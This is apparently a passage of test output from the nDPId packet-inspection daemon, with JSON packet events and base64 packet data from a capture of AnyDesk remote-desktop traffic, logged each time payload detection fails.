QwTlexR5DWQPMFNTzNJWfvfXZKb7Jk5EgoLOuxbmTfm5DrIkylZo1x71X8Qj9ZXw+GvmQTARXSK1qMuy310CPxCzM8VNRdPBNQ4BP+zGU6Q6Ytv+TAqLQXsi0DL7lPJsss3PD32jAZVR7d7KqiTK5birG5z4b5ZIgx2Z6LL2g4DULl+MVbFhk4cp4EYGT5QhgOqR5rfKQ41XS0pYCUxT7Vyuj\/q9Cc17goBVI6bGJ+gRHKsbIqofMzjDFdxeI+rtm83jLJ+UmYOoEobPkkI7KiYhFMn+aWxXg+TtHZ1fKHa0w+BSPYjLC2SUuWZTUkAt\/oTQONkeRCHY0ouUbqt3cvnz3B6\/R9WrMbZu9rn0KpW21lPtRwPJ5jpFP924LnzecBI8YtMapOuKg3pxSRDLvIQXmCZoebwn5EoXN8JXPkrKBYImwNsDsIxwCKNE3Tn6sTZw"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":798,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4196} +04646{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":799,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":38283,"pkt_caplen":3208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3208,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeYVAAIAGAADAqAG7wKgBstOUG56PHkDjWcQjEVAYIBSExAAAFwMDDE1Z4hNO+msVUHiscta16q8iW7sDDJ5NSpStAPEDgKtaMgXQLmTT756r86lXUzRpgcIIOIIBqZIZn8IiFkwO5qTXKJY+9wXrlhxDu+KSRjRUv1IJ30MNjCq1Y2ytAXrmUoidjJ5LnAJx8T25iy\/CSXaMNLaRZQqwpmVH017MKsNFWkZLFbluDxV8CftJY6wQXBq1vmEWvTBA\/gX5CQueA541mkoSvXZiX0SMkSADlttlooTVl17keG+I1REQmQzW7B8yazRUfahiEbBjkzF8zi4wk131sWjr9Wgng9P3sJrd5F+ZB8kkrPDsBjRb5bghtNmeh8ODDTv4+NaXMD98wnGw8JaHf3ROpAJ132ge0R4o9ItBRhgUEuvDesq4Ev7jwTV0um50DG4tuuzSnn1Bv\/dCPshpCLaLLXuA5DKlhoDAOcfWkf8PHCXlLVQGD+ONOf6HsUxsD6mi+XFIwITlCEGCmHOseooeQfzWWM3zff6Po+2+LhDW+OeFg2oB8aCVSkF9qR6FE9DYBAtSGOIW6X1XwoVI9LI0HtzuCt+yUUVE+iAHHIaDAYYaVyjLGcqIUhBB7D8NX72pTJFe9NzMzXNh\/2NvGx2sjc4YIFd+lvaxCwHf0yYtdDk1ddqDQ\/WqkANLKokzo\/3mZgjjuNlm5puDiuijAvcjnyG23CO\/EaF57o\/qCep+QvleUP2STEiE2B1GVQvu2O3IALuZ4kPr\/+P63rcIHEnazRVIjv+fI\/y7QnASLCje6hJ5QER2LG8xqI7K1DFJxAeUsDY7Bl+zxyb0oeZKUreTwOT6n1b\/KbJoPQ\/55N8xKrMoPAwQULQX7W4Co1oqdCmasxGNFPBa51bjzNqwOhX6JbdDhe4m3wRNPEDGLZQZwafWgcKG7JVMKVaV\/auKFRrsge8NIjRPQIS2q\/rc1bQr1l4MX+H650clb6B9cOQya5bNyTI2TMCS4\/uCSgGxZkQNcVUEcX\/BtghAWAET76aTfjCijz7SQNi3PIlq0sNSAAErK2CG9yqFUgokNxBHca7bcPN5FiLus67YjWoBXyA6X4iQzRNv34EEEoXO0C634eZ5MDnb1\/0x+bT1sFnHEvUc99yb1zxgEEjX44sq12KjRG2sKUrvnxb77zFP5BwjCcFCaVAMeZLvKpI0JqfrVFZbjI1qozMcf6inY50dZ7zPd6kMmxKCyDPKfRq0xgdalFqo2D4Jq\/HTFSJOsX6dgWWNVUkeaSvH1ruuePKwq1fM0yxXKQhI6cHw8tgeGmGrHuJqaonmwTtiZtZg85jgqxhUXrq9FyPGoIn5M1g3+mFI0kBaH3pkoGeLTwCw1TfHE0VtWOIba06KBYh9wJfGsiRBvepoBhHMJG0tr0P2lM7IwaQXewsrHn62WppBrisJnaud3\/+OwC0r18nZxoVEjR0WLOF8lP2IUmiqvEsPqcAugdjVogtcRBlsywJiyqT+3f3iSNKB\/SUmH6EeprcQDhNDCRe0PCcqsGDippSdTlblA6kFwIHL8E5+mDSBPSJs3DF0TtCi9Ya2kTjrE3An6BL8XJf8gI0F5Oi0jraycDqdZk4\/6Djl9S3f6zGq\/CDOPqANceE6KH5DN\/xxQTRJnHRg2aXCsctgWduYBgq2nfjTr9cZSzUmlXioEa17vVoTOyWjQVVCsuq2tUCprNRsZWRnDXd444gWH\/H+EY\/o5bVxZ3bhvTW3pzU9qzbYNMwn5PctIVbYCMJDnT++17TNY4En+s5zxz0kL84GU0Ta8Sy6xBL268oojWm36lwOnC1yWDRPtYs+O7T6bK+ccrf6u2Ew6fMnN\/cSIe+j201i0Q\/gd5y\/56FkjQAh1xaaNn89u3sVM0Du\/DEwvacsXJUsbL22Zbsg3tgqlee4BqixuEX5fsNC2U7A\/tVr0Fvf99\/tH6pJkCxdYvrG1UoyTi7LCIL2n3VTvi0HSvqyL8gG01ady8FvHt8gV1caE56u355xPy9Wz7oeriknXB9AOjcOj7KwdLyxCQRRFKFbK5jXiQDxnNQt6U30sqo1IsdH3De9f24GROMhYDX8Kf1zzc+\/1FEm+IWi6gV\/ZKY96kpGv1X21pZ0XUYWu6yvXsk+gG1QaXwQAxU7hDz+Uq3S9qosKPEoeNKuAHdWjiVqhQJ7Ki5INNMXCYjwlfQSrZTZiMXIaYr\/TnJxTCxqRv2SBmDf0WaIDBwADo6M5WR0ol3IeAmMrYahcM729HkRN\/JMEKjlacASz3Rg2F7Epi2eTQtVfiG3h6NHVkzc2PdJ9S0c45yvCCmt7eD6DXPCSY1YvN13tsewKesjmSACsSlSvE0Z3J3KHJUlH7mB7hzcfNYEIIB\/5ZUr3S2AvWfT2eiygifO1zcIascLAWXRscvrYmOxI6p1K9GFxncTZcN80nZDho5Trk3WWsl8xqMpDFSzkrvXJouosk8VM04ImEKwzLp3jF1bqXhSfeaaiSPOopUjKZcp0\/gKQpQ2q5C66v4YxHh\/wpa0OvuKgdGLCGJ+UbN9z6sOyIUgN+A1NHe0bqXxetH8M3R7cDAQ74sGjC+NmXoxRhQ3re7l\/It8vByzkowgDuxJuIU9RmTnCKk2DLbIiS03MeQX85xW5n6wbovyEHq+bKeRGv6klgnzWy0uI2e3VzwS3KyS9ZfMys79p+UL2lQvFMj9O+9qz7ct95HMO7j66Sf45xO1GwURfxLm2xiGcxgrWjgdFWMzsE4F6e8rllrYjKKXrQMFGkD84flRc2iWrEryHWAPns0KcELyNiMQXvbUiE4gxZRUrSRherY1CKOMyoVg1tr1WjD20aJbI1Hzxcr5uXP\/dKtlJHzTg0BRajYOzRDuU80fb9jhc7wma7E0X+3rhTXLwZvhMROXcAz+oMrjFRtRwXUIX\/dyswpg+fVFL771ht9HurUCEUkm+CBvBf0qzZXciVZQ89U9lRPs0+fpxW90BTnENjfAaQv2TY3lL4ySmrsIvLxpv2jJeFliiRkfGugX3ckwC81FPX+nGAauOChncDXWI9NigqPUEA3hyxA0er9SxUly1aTQ\/ORXV5kE4TFSQVd6Wcd\/NwMt85xSCCc8M8yZTocwsjt2K\/rNzqKqUuyGLySuUinRkYTw0B6bO1kxaAydDlJBgXT8H5JwtXwrK\/3K+q1B4VJW8qdTeIM12FTiZ6PqN87pGiJxc+AOaaPhFZY6I5vq3bq\/Kdrt2bKojMTMg2E6OxbhZSXsETYmMBiYLbEgQIhCYJCUlKm\/PWG4oud75DNl6sBE5FrldiBYTuPj\/yprXz97ynkJaoPsEZADMN2iRo7hMvYZo8rfJJqSEPm0uRhaJEM0AHAlaSEEm\/c9oLGlIY5+8aS6FUYpOmvCNwqoOIbGyRCXqC5zT4w\/Umttqm\/6waKJNp4zzm9x5xGOongQlZd8yX2knYGltxaezqXGERc2DlIz+gGcClGQcB\/4isnywJmKqK+8fHWAn4eVrbTKKMsyX22xLGapSMJDqX4a0awLdgn1lxgN9FtyT4nbi4MYVdRLgTOu2PvUKqP8u4Z9JRAHq7NjasfQawj2Hcpg9k1D5GuBTB2EI9I3lA6jrYN9TgmUN\/fSKmE4abcI5fWFWqq75PQEggGqcviVOtw0per9dFp5U+jzmYl3oTPJLfA44tO+1+p3pbWeGsrawJnSwgpo2TLXhsau8X3zZKqDq0B3+\/DQ1JwdzqOsF3LSrxFbiFeLbA8YYfFvHy3zPdtBKZuja9jKLb9poLFQHb6RWYlAuEN\/Ds1Dz\/6fqJ0h2S+vdjZWezuYCnlPFyKe7g1bGgslnnZ98tQbO4PQy3w4BIlBgmceqsSlXnu\/zwj9OpqK8FXLiyTPLoSzKpbAyuiYpqR9JJAOPDd07qIZZw54e721Y8XV4M6rR1acmX0I0rnVC2nhUpTIJtLC\/5lrxAOBzf3PXN7cHI03LYtFxvLiv2\/PtFnSxHr04pVJu+O6rAMh6CCcN04j8h+S\/MpN7bJFVVOzdaVltHZLlXi8jXMs+AylueGtceBLlOnKEps3QijOkshalZEaK6qReEQKfjYdlyCCeND7Dw09+HSogGwlQR8k6YcpwT7LH98\/AWmVdl2RW3cl7wAD6v8kjQHz7H5kUMFGK9rQ2unNNyg31Lnk0Pb6hxNXSL5DXRgLze3jcTYGf14oharzJvKPb9X5iRRq8B8Ww3SRJ6lyhh\/Xne7KjKHedp75u+Oj\/CNbhg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":799,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3174} +04514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":800,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":38535,"pkt_caplen":3111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3111,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeYhAAIAGAADAqAG7wKgBstOUG56PHk01WcQjEVAYIBSExAAAFwMDC+xZ4hNO+msVUQe1t7RgAszpQoeGeMTvPv7oG7+QLH29wL6rx7JqPHJwmyBc+JYtKts3dAbL38+3sf5IgZigZUvf7PX9kA82KIHMoAtsGJZ\/VFFAxbPnWtJ0IKBgtqjsfJnuyo+nJlDVXVPDSMee6cydga2LhreJ2\/RarlhFOOH5XNLmxA57hS9vV55TJt\/udbNLaO7FAHa2EEf37hD0A1arv49MiNENUrpQNNnzp6wVQVD57AEtX5rr9CbysJpjfNEXanX4sfUHWrm9DcEWSoP74yJ42jKTjogzKrAh6+5DeQehSSs+D099grLAe5I9rb9RH\/tlAK+EaRzcYrrKn9HGp3SLhKxjoyzt5rNhxJi0Xy24v1mV80IN7sN+UY3xejaleXYGtFMS4faYZ5QRxx6RvgbvFj5HBjTO16SeStg2YdZT43dbY\/44AvNXybV99xTDY28smpBA0ISZQT061w6cS9d6BTfJWxjNG2eF2z55bjVlusGWmfq6TBltk9gTMUPs+WQRM4hbHsjjCxaG\/bMhzMqFs1B70Xmn37y9G54oUc1oNlhQE6cP9AE\/LMSWsAm1bXlMn0zzEoxuInpTdf2sBU6qsF++9H0YOanQBSvJoHac4RHRDUImVhTPgo2GhkSuIOaKDSvykwYGnyluppon61JfDDj2rDC9+DaPykKRV9EnVxNuAyoGGaLMNAby+vaPgyPqoaGrHxi1c2uTlH90XyvEcW2e+MbC+5xJz5eZQE3ynQH+xgt8UpSTHAg87oY6ZI+o9S1o2zl3dD97RO8nHVY4Dqiyi\/hV7Q0t02RYLaF3a0iCNVAeUa\/jYo71aKEtnCJ\/uFY4W04r1maoVB\/asTv8jP3J8\/mjUfNEVU1ui71\/4Txm7XpsB0IJh65z7Le4n6+T1z9MwOD3Kwm+uwunExcMibLPPLv43wCqZqBwetnxmlYGfzXeq4ZfEKyQ8D4W3KiCNKV+6QA+KyDHTts0k1NUhCFl8KgDGJ3Hpf3MNlccnsdiX1r6+PurR7GwVYocJ+YfshpltrQVrudLCfWFRvUVd9j462ahA\/ozV3\/HLZut\/SZUu3rZwaUpGtZnrXiNtnH9uVXsIK5LLrflCqF7VQkgAx1pRFCGUg3axEfsd9+j6JXerSNBRh\/JkYDUP5AkvYbIlubUxtsF0RWCj0s\/M7BRzCjUts9Upsd2tniOkR6YU0CfVtvPikuEa2PLvU9+lk5uOlGxeZiY4yoG\/eNS\/NcdBjAYncBeFJQyDp7Ft0VCsn7BQIJ1aKk3Wkl3nnywD0GucZrhF7xtUynt92sRvNRR4N82FH8qp1Q4eraq3QK11OMzGtDsQ01maz0e0F6J49hAh4QkqDIYfy8tdb9ED0mixktgWaxXtAYF+0ouQNnZvtaJwWfgf1jpTyrYm\/ZcuIHNt56oQHuP5hPvbDX3ORDe63tST0zhc\/GW8M5hF9RxdGYZrR+IAn+tSQmshxBX7CnU\/i24mSPY8xTWTHrQE+4OZukT0e+l1v5bRPPwyI66ksGq7kVXr4OiwGjRTbhjjRIS5TLjcXfx2DzaqNcrvxfsdZsTMe4LkBp01kii8EgsC5xzQYNgDhrly+Jjulkc9t6eYElFkCJucacYEiMNZOQNBCoM8f9KCyGiVM0cR+956e9COXlMpKwQVU\/WcK4JarSHMGAhfmm8xzkm0pw1igv6HPvGM6jE2\/sSm+8yMMBwFPRhRGv5vQgZlgTojAtzWo3N5IrFNRtteKYY6VOisdsJd+0mPDxZmxei5bF4A\/S+CctAGcCIwmhLNDgumwvmwoCFpXyPEMUY+eoWIPJv5v5R+fJUlxoykPMARlSBrjp13rN8dgCSFySZFNApgRG2TUablQ94w3ieLw8Q0Z8+tsDkfcXR3xZJqwac+N88jpWSuY6WaGUEsl3WmfjdS4Ukup0pE2zimaqxnpVj104oGp4tr+1j2N\/5cr4a9CX20SM6G6pM+7Ub\/rWY\/CQf6RNIU+RNDXsqgmgjocBvoRx4wMX3gNWKdz7m+8p98tduPyqwdF28trlJWkaOk+O94lcdRgSBQE9v7nFyWJ9YxxD+ENYFQ2O3QD2d6Fb4duOn7Vgp60VdUDaFh34Og\/k+y2UjGgfWHEgU0GDoLBkqz3B58SOA3rO5CM5DkP3UpAufjzQByFwsxRQ49g1wBAwxddO03SGmFOsC9IY\/d5k+Zqk2xKmC8y8HJXM4UZ7sTiLCVCWpwyjCa1Z2Vb2SE8wkTPKpJMav27WaAl9Khz0iXM1QgBvpiXF1FxSXPe\/zR\/kvubWmjmurHASl3dOMUn3RhsYk45Xy+Va2sA1mlbPSvOSZbSQI6ct8ksl45KPgiubwzT2HfVtVXlr8xPQ6NlLXpiVCATEQzCIo2xn2c+Z4Kzfhu1i5vthR5IeXiHXr9iTRUdHONAZ7mM0BB34xXao+WEqDGPXwPYO8aGPwKkEAdB9Ubq+CH9iiXu+\/FylaIGB6MleIKYlV8UaoAhFFcPNkBGWWkwbwH89RqYXj0E0o+Dp4TG8u6lE4NQivBoXt9My0beYzhCWhUzCHSl1EoihMai4VFG2NuWv3weKU8Nfe4UN2zNat9LQyAj\/piDKaD\/SJTtQHZ25KqzezOrqZ0ResiYKnLr\/L8TKR2dE5BJRcvc6\/v\/F2T9g+tUfJtGo\/S9Vg+a2GE3BvJt294rY5G9u\/AYGQrxlvcJKlEtegodA9LN2nKsCK5GOqAwOeRQgYIiu7tW1xghQaNEQ1asPPoH+8HGCLqahwpymcruakNq88O3EIzURM2qxLzBFWHd9mwTN+MD18+I1kk7bJ2jOwQgfUJ\/Mh0lxqYfDWuKY9JWbACqEFGRfYQno4upT87y8\/kH1Ua+K+H\/14XGySiFDAn9HFdb6pU05TaxSe8gK8AiHFJZ7hpUhzZzQbpBTYL5LSPC27PfhgFoTiXH7UVG6esmtuR8HxBFxrKyQ\/teZ+cyYcZ19Xcz7ZQlBkRVyZ57htlnU9qOQiqkyxcu2LfiNwYYh6s9eoaKoSef+kaiwP+NhocMjSj2BHEIqt+40xzI37cEmqB96NF9EyXi8JNiEuV3ugST3LIC8VchSBocGRGwgLt0diPKdv+bDqlixsGSA79Tk9rDlXp3uPEU1r6snlC05Q4roGB4VW2nJCyiD2HgEFEO36QgHBOFyJo\/yecmQDsRdQVUpjEI9Ku\/1P6nt08GiraFmp2aBJ33Gwe\/7oBuSJzP1TEhcyf8iul6Gl9oyU8YLKQjtO3wAR7LoQdNYMKqanszqBLazBDTYLAuqm4Ef8EWRTN5cYyU5ZYWf3a6u\/TS2DgzmtTNiDkxYFWjWIyzv1urqEekk5yZlDtOrLyioTRDGXW853kpm2NjmvqtO5tZMIQidOj8eh85uAz1j9dULFI5pkz1MCpWzYpfBtIwMkedlfKxFu0BTdM\/S7Ee5hkBiJXMIhH2RmgVbzafaUc+\/74jBKGELOCrQHfUuDl9KwTpsbeaDyXylkuAuIZPJ0ROEKCV+GpIF\/aBOsda4nUBk6hWxIcTpldznmArj1tMsTfkKdVXw+FAX7zpcCBSx0qUJeJLEk5B+Cd9iHnCIUkz7ZQy4z83rUkPT1KpGLbIlynu4dwMZn9rGAI50TeCfZzaKN5xUCapjEilCV9sAi0U938L6G+BWLqFfWKZvJhdRRo87MldZggPch443qtlvdBvc1yMR\/a0iv9MFaSKzjYhemECZc6qBq6qhj5ImXVIB8VL3JZ4W1fnwOYdVNkjhZxiVOiB+MyE1yOFmOT3F4vrjCn4mhG2ujn+J7OsnQnW9\/bmsjy9DRfGsGl1ZI\/2SvbJ0\/CFWZGyi5TGGC6Bd0T3H+LBiLPx13Y5eGvs1Iq7dGNqY7dqav6TFsnYk6CSwQDx02IW91hwbkP3x4Rz2Fkkf0U\/kLU8kHTmH9BKluFsveLZlp\/RhhaftVoc\/L\/mIf00msyRqe958nfSnvqoehCerg1ca\/DXL25MX9y02WO9bu2ULZmtGAtTlMJkpL\/OT3ePzVNcro8c+cUQMTv6g9idY1XmNdQCBIeV9pBmE6MnMgA\/Q7V7CLOTkjmnBOm6kD"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":800,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3077} +03021{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":812,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":70634,"pkt_caplen":2005,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2005,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeZVAAIAGAADAqAG7wKgBstOUG56PHmCtWcQjQFAYIBOExAAAFwMDB5pZ4hNO+msVVD4vzKPIssyL3pcyohhAMYnRTJIs9xIhdwhrBAF+V3Tcm1nrhHDqVNUtflHwX5y5xEDMSGzZJ14ek2wEtEWlxeG3INDmxiYpXp5DKBbzgvN8GbKjlKZ+w+Y\/ECBmOfbP6JvS72Y25gB8w9PA2gNASK4lOnCuYfzaWXbwrfEdLmbVnGX9GBhA2HFrrype\/vZaVPayGj9OaZsXJnHDRs+iif9NUb1HYk6KTd+5SvuHT0Bln\/YVR02Sz4CevJib22J5BNo+2KkrQ9EoyUyGgu0gDDvPISQjYbrfuEqLOjWUNvLxP\/d3g2bM3b\/oKRGrdVWrhdSezOAIGgrVorvNxrMOndDZuJApGAQ0K9SWNCgJDeENRDWFBrmeYQ1vEje2nkLF+NNCXamhJDVH020JEDGJOeQHKM4MyMR0UWeyifwAt2\/mC80bGg5Qx18juA7mnYGfQ7I0MWPvORay5k+UgYaDmuapXdo32woZI6h0uVYX2SoNR\/22Lj9MYcdUQL\/fnkTvNSAcjlxDgdEZo7+aKQMY0R3oB9XX8\/Tx+Qf0EW\/+JfMMo\/j4O4zOySbSCEAvWzsYztoeb4TVd+PFHRhvvkmWzv7otCJAu3K13t25GF0BaA9thh+hOZqbojhF0pkEJnplpCu\/aE\/OI4cak95K30zYAXzPBmbQu0CSDPQ6mR+T5r7+p0yQThbLCepqKkXe1cH1jQrrsqMOdFGqu3k\/xeDujAbTYUzdya1b622w5LiiqAJCF4BnOfJZcNx65qHUgeY0wWsp112SaJ0OE+QhR8l3KXruGXCrwu107npv7NL4E2K3IrT6xHrEM1KA2J0FveMDyshspu9vfZPmlfv6htIsQUo4sVdTRk3SHwQ6A5hZh5j0tP\/RlSwPZYIvYHO0To3iL2+lvtDREMHG\/8TrBxH9PIfzOy3HCyOP5Khkey7PhLk1DaujH7+Yg9pCmaHhzVJ4DCcpGgCfk7yNAjA2eh7miQ2V\/jdzpn6zvPQGRX77l9nntrOYq8AoM6\/Hu6BbAYp4ux4mezglaEYj8o0dEa8S8ms2piBQ8hxZECLM5hGVabvE6KcigJKgv1jJHaES1D6p1lGjdhpMUso9mO1malFlLNCM6qfn2EqDJ04sxzo6tiyZRrk2y6CUqlBQdJxEOPdvY2kur0LzmvxkHxQzStDGPMOVwhbKXDyQywid4LquFtqvmjhV3yFH+34gx\/KlwI+shSI+o+JrXKXgW\/3urCc7c381\/H7gwpjOplVNh29nqA9MqhZIIiXKEVAY12kUmc8RWf6V8WJrfOVNAI55vSbOZfnkiOl0jEd68DH7y4N9YsZJDKEryMt6XexS9mnYwCWeeyxNIKHsQ\/PsEzaYNqvn7xIQrv5W1trUJ3RDnC6KVhVP\/CZlQo9g+b9VyQciTq90GVHmhIdCmgO0dnnUtN0jYYzDJxCSFalTOa21I7NNLpe543WENNGikJnKAwmek7+ihPy\/y\/j9ea54bN6on+d10U4AWnAT2aCUcslJ5ivNggrqKFb+V3g4rimMCUup77HoUxaihlx\/OruakmNnwrwdmPT6YsshUfrQGL97uMM5wajotPeS2MuemhaH2o04jJDgcmSXfchvoFb8Y4Gegch18kCTz2VqgGoLuwHLRclckkwNSma8jjdoDfNxWwHWwEeJqU4bnpaXZclg+cAMMv+tAatntK\/MWbRDwL2GaH+lPEsVgqL5RIClmyZCMGFIAaG7UVwdxNLlPBsZQpfXUOjc5EOrOnmJVd2tIzSaQI89kQmhYTNZXAHGcL2wHuWBiaPzBcTNsD\/jSpG1VtGoxmpXZZ24WInaH+lOGYe57fBultiA0HDgDhHPIp5lr2wVfEctBfMf64uVCIbEoV9l8x+Ya+jzp8xdq2KWzhxd\/tdViBgmvTWokiLG+NcdlYRwCn6XaEGSngqwFpMjYzgpjwBvWkFmekWZXBvqHjMIToH92GKYRdVOr7pmzv5Oyq95KfwUbSBp+rYAfZxRcuZ6zlT5omCzUjNxxUwsuFEUcHpQ8YLjWirgVB00gGc9BpH5zuFqsNJWq0swqnxXOH+mZV0N3KwP7yhsTRGrCOdaOUC4zo2qZVkajokjMim1BvRv6tnU6+ORflS+0MqsYwiPcnvMxaTftJH3sXamkVe1m+X2yZFCz\/4HnnTI0n0Lp+7LHcwBmoO+gePjbdzLKNN6njY1WgkfkSUC+xgq56+F9f\/qZofgOQidysRMMuew8eoLh4iQmTNPrTKzBQnVtwBU2H4o\/BYkBOBunOFNPlxCd+3UIWittaQ5NwpV6ddJvQVw8BbHvkudqkqldiIQyAruhnevjWxZlj\/ur3waIlLfZI\/1ljpyOxcqw4TpjY236BskILy5fUjW\/\/bAC\/v2fIG2FOI0wjrbiFyU\/smtZF2C\/8rKiFALQMMaGImMHn4waaSinn1W4JDO+hcQiOw+leSgUMXY43dXqOGCMjuO73kG1EFhlkW2l8cG\/\/brlukWAkPXReNchwnUkst4v1dOIjF95Wk6KG0Y073UfyEhU2hGN6eWoENcmWa4LpSzCAt2h4cUMbfM5Gwt9YGP\/LAx2X4MdQe6gYiJqw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":812,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1971} +02840{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":813,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":71015,"pkt_caplen":1864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1864,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeZdAAIAGAADAqAG7wKgBstOUG56PHmhMWcQjQFAYIBOExAAAFwMDBw1Z4hNO+msVVazmggYEo+kl5Bbo5jmmw3DprGaxiaw+mXq+fNY+SEQb3bZhjPfxtcIdZkAoB4gGp0NxowfFInNW+7wJisfYWLsPayrTKlyr1\/DLfyeQza8IbItgwcXL3U0FdFnFwlIdC8nebjtbww5woNwI\/Ykfl52T8\/Z8\/gyh6aOoA2pfD2FCJmMbvQgXmIkGBrasWV0aNiitCknwlzsSHYTqMPz42iDPZG+\/+74IaRSmkdWp2PatNqhtpujnvV4mcDL3J0zCP0G4zaN35tAzlX6ZfxA4JEH5GNJEGhSAHOkvaJxbALMnC6ad60H\/MV9owqqRY5ixyETWcZ8jwhdaOiPe9xoWlHDQZAQTVEkztpO\/Fs\/kYrTiWFdbsmcdSel1+1gQZNpo9N2ikk77iI2Z4lrVIs3uIK0MNpyVssFYYNbu\/PEhNUZ\/FkqDb7Xbl4qjxZmg0nhdPY4xLBAgKMgtcOdQle6kP\/00O1pZez4TXe2Rkh8jKIk2HpG1jAuFPaosJ9ehiDlKj+jaOAteqLNNAfR6\/ejvXy9Es\/yOTHlt13BKWFsjiGl1\/Z926Y0zM5qZNDUUoLNwkEFvpa31reug86gax\/ILbuMHyLOxVPypaxRgdc02zP86gZNPc2jLcPWk1iopZKWj7r5qeZ6im6tCmsF90wNP7lEk\/7RGcgbzxqbJfEmVVcCaozOxvzjrJNZb7Yr+eNkNm8QVpgjlCsrRCcVkSsPc10NOJkmf\/kq8RHLZFP81tQ89CwmvHYaHgAZQ1gCBo9fB64HSfGmTvBOwW7tX5pVuuqPLBmPwieZTJcn+5BlEI4MRhu41g+lz5e06tN3RBpw8kwC\/Xaau9FusnuW+To+haaQJyGsPDfenGcqhnGaz\/51\/uPcyptJ+kklnfhWgnA5luAkpv3cPI5nlclQ33e3NnvDStjHNDl5pwAgiLLxfWeQsqF\/Yhtg6jerBaU0lI+P8px+szMdiBOGAPlkxVUAfgKaw2EQWPePJS9d+ctrTRRn7a08y+7276jTSfacxm3pMH+fI5W1kCgiHeGA2W\/Nj2ANFZitNarO+7irxezDYlJHq2h\/qzAjK5s2lZJZX8lf6ABf\/fKReWo4VfKgLyA8FUYx+wwZjP8kzHl9sHXVD28hbFcsJXozptg4\/OEEXmQ\/gvV6bg92ZRgjp7jFpkB\/vB3GaAe0AIcQOy83+WqHOcHAKylT2Vq+KasQrRz2r75xVyjoWFVkdkXrpE4FFGAxqzNJvWOhhozQzzWv7x5jwR\/stgZiWhyjz8nenT3KlCl8ienYhOY4CgIHjEtSUb4I\/JPkknv8g2X5ipUmCk4lSKfcMPrsT2zJXaDcn4KOkZMrV5jmfq9fs7VqjP5vqpVl0Kkep9CvJ1ftD1avdmmvUH4igYBNgAZd4YGJ37PloBHABCfiJtW02mQ0sAQq1LjOHrHH7ipH504LnKO1uZkSvM4XE18uGDxLEsDJLTkH1eoAQxZSeEWWxZMBDducMctadjrWHdLx1mztrm6Bv00Ns0cAVQAm6TLCZn5zGG+TsEm8lo5fOLHBNXcs5+9\/Uzhx7f9h\/JuUfT2JgoFzUiF9Y2xaNuThMOX000ptl9vL5pP1QvQbQGZ6mhOzgY5vqk929n3T\/HE0dxzXfCPKIkzcsateZC+E\/dsjqKP6lzjm79OGhHN8DFX6wFIn3+AVsHdjLIixsv+G7LHnhj5uo2\/MCXsVpL+csqQpWS2OuZyHonJ\/+rRWKmDtyP0D80\/G+EMTAkmF3TyIMvGjFDQYxWG9kF+BflGVwIrhbnmrScekjXqI8jWkKoDIOUcaB77Z7\/2CZLCg2QiJMOpKL+8zUTGQtKGan1jGQNfpetVJGqLWKQ0Yo4uI3Xq0LktystN21Ahw2BpOg3l8TJzVPgoRAifjelz\/0jCb9YxhFH4l6OGaANoAui8KwH\/jONEzYHQ\/goKMjjSOtZZUn5qMvyP7HKKN2Nfc22ecUyiXHpI0DwKYLyhsTS\/tpejseNhN1z5mcbZcRLAwx0Vu1Dn22ebkd8y6f0pSRu8gc\/QVA1\/kt6OH6us3GjUk1BqXaP1+H2iEXUkltAJuEJwRA5k89ppAsQRJ8Hh+UHrplVdO7GlLnltdefI9t4ki76xL9XellB4TbGCpR1IUYgp0J7mw7S7UahDc7nxjWzWKm4ac1Gr6IR6skjNwBk1XgHwJbzfgS\/huW0GMQxAVM6uPvNMVosrZW9YoUkC6Sq4py8bHzZ5XilQXin65JVw\/qSbo3UlOdX8PokMaQQvWfZW5Wn4pSwMXJ\/QKdgIlEzx9ZX+u7ncSYvOqOGBo4FiWB+DUqQ3Pi0abF1Eaq\/9Mx5EYMf98BDzp9bZi6qrFDv9sFZSdWwQGSjtYwT\/ywZY12SbWEYQNMmmJn\/fp4lUGlx3iDHA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":813,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1830} 